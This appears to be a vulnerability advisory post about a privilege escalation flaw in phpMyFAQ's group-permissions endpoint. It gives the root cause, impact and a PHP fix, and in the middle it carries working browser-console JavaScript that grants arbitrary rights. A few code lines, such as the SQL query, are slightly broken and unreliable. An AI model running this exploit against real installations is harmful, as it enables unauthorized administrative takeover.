Listen to this Post
The group‑rights endpoint in phpMyFAQ (GroupController::updatePermissions, route /admin/group/update/permissions) lacks a critical authorization check that was correctly added to its user‑rights sibling (UserController::updateUserRights). While the user endpoint enforces that a non‑SuperAdmin may only assign rights they personally hold, the group endpoint only verifies that the caller has the `GROUP_EDIT` permission—it does not validate that the caller possesses each right being granted to a group. This omission allows a delegated administrator with only `GROUP_EDIT` (and membership in a group they control) to issue a POST request with arbitrary `group_rights[]` values, including high‑privilege rights such as user management, configuration modification, or full administrative access. The endpoint grants every requested right directly to the specified group via grantGroupRight, which inserts an entry into the `faqgroup_right` table. Because the attacker is a member of that group (or can add themselves, a common capability of group managers), they inherit the newly granted rights, effectively escalating from a limited admin to a SuperAdmin. The vulnerability is the exact mirror of the one patched in the user‑rights path, where the code comment explicitly warns against privilege escalation. However, the group path was overlooked in the hardening series that addressed CVE‑2026‑24421 and related advisories. The attack requires only the `GROUP_EDIT` privilege (low privilege requirement), has low attack complexity (the attacker typically manages group membership), and can yield full read/write/availability impact (CVSS: 8.8, High). The flaw exists in all versions up to the current HEAD commit `04db2b999d8d` as of the discovery date. The technical root cause is the absence of the self‑rights validation loop that is present in `updateUserRights` (lines 563‑571). A simple reproduction demonstrates that a non‑SuperAdmin with `GROUP_EDIT` can grant any right to a group they belong to, and the application returns a success response without any restriction. The fix is to apply the identical constraint before the granting loop, and ideally to refactor the permission layer to enforce this rule uniformly. The issue was discovered on 2026‑05‑30 during a security audit, and the vendor has been notified. A patch is expected to be released in the coming weeks.
DailyCVE Form:
Platform: phpMyFAQ
Version: up to HEAD
Vulnerability : Privilege Escalation
Severity: High
date: 2026-05-30
Prediction: 2026-06-30
What Undercode Say:
Check if the vulnerable endpoint is accessible by a non-SuperAdmin with GROUP_EDIT.
Use the following JavaScript snippet in the browser's DevTools Console while logged in as that admin.
const csrf = document.querySelector('[name="pmf-csrf-token"], pmf-csrf-token')?.value || window.PMF_CSRF_UPDATE_GROUP_PERMISSIONS;
const body = new URLSearchParams();
body.set("pmf-csrf-token", csrf);
body.set("group_id", "2"); // ID of a group the attacker belongs to
body.append("group_rights[]", "1"); // ID of a right the attacker does NOT hold (e.g., user admin)
fetch("/admin/group/update/permissions", { method: "POST", credentials: "include", body })
.then(r => r.text())
.then(t => console.log(t.includes("ad_msg_savedsuc") ? "GRANTED (200)" : t.slice(0, 200)));
Expected output: "GRANTED (200)" – the right is added to the group even though the attacker lacks it.
Confirm with SQL (replace table prefix if needed):
SELECT FROM faqgroup_right WHERE group_id = 2;
The new right_id (e.g., 1) appears, proving the unconstrained grant.
Compare with the user-rights endpoint (which is protected):
The same attempt on /admin/user/update/permissions would return 403 with "msgNoPermission".
Exploit: (Educational Purposes!)
// Step 1: Log in as a non-SuperAdmin account that has the GROUP_EDIT permission.
// Step 2: Ensure the account is a member of the target group (e.g., group_id=2).
// Step 3: Open the browser's DevTools Console on the phpMyFAQ admin interface.
// Step 4: Execute the following to grant a high-value right (e.g., right_id=1) to the group:
const csrfToken = document.querySelector('[name="pmf-csrf-token"]')?.value || window.PMF_CSRF_UPDATE_GROUP_PERMISSIONS;
const payload = new URLSearchParams();
payload.set("pmf-csrf-token", csrfToken);
payload.set("group_id", "2"); // Group ID the attacker belongs to
payload.append("group_rights[]", "1"); // Right ID for user administration (or any other)
fetch("/admin/group/update/permissions", {
method: "POST",
credentials: "include",
body: payload
})
.then(res => res.text())
.then(data => {
if (data.includes("ad_msg_savedsuc")) {
console.log("Success: right granted. The attacker now inherits that right.");
} else {
console.log("Exploit failed:", data.slice(0, 200));
}
});
// After successful execution, the attacker can perform actions associated with right_id=1
// (e.g., create new admin users, modify system settings) because they belong to the group.
Protection: from this CVE
Apply the same self‑rights constraint used in `UserController::updateUserRights` to GroupController::updatePermissions. Insert the following check immediately after the CSRF verification and before the granting loop:
$actingIsSuperAdmin = $this->currentUser->isSuperAdmin();
if (!$actingIsSuperAdmin) {
$actingUserId = $this->currentUser->getUserId();
foreach ($groupPermissions as $groupPermission) {
if (!$this->currentUser->perm->hasPermission($actingUserId, (int) $groupPermission)) {
throw new UnauthorizedHttpException('Cannot grant a right you do not hold');
}
}
}
Alternatively, refactor the permission layer (grantGroupRight and grantUserRight) to enforce this rule uniformly, and add regression tests. Until an official patch is released, restrict the `GROUP_EDIT` permission to trusted SuperAdmins only, and avoid granting it to delegated administrators.
Impact:
Successful exploitation allows a delegated administrator with only the `GROUP_EDIT` right to elevate their privileges to full administrative control over the phpMyFAQ instance. This includes the ability to create, modify, or delete users, change system configurations, access sensitive data, and compromise the integrity and availability of the FAQ system. The attack is low‑complexity and requires minimal privileges, making it a critical risk for any deployment that uses delegated group management.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
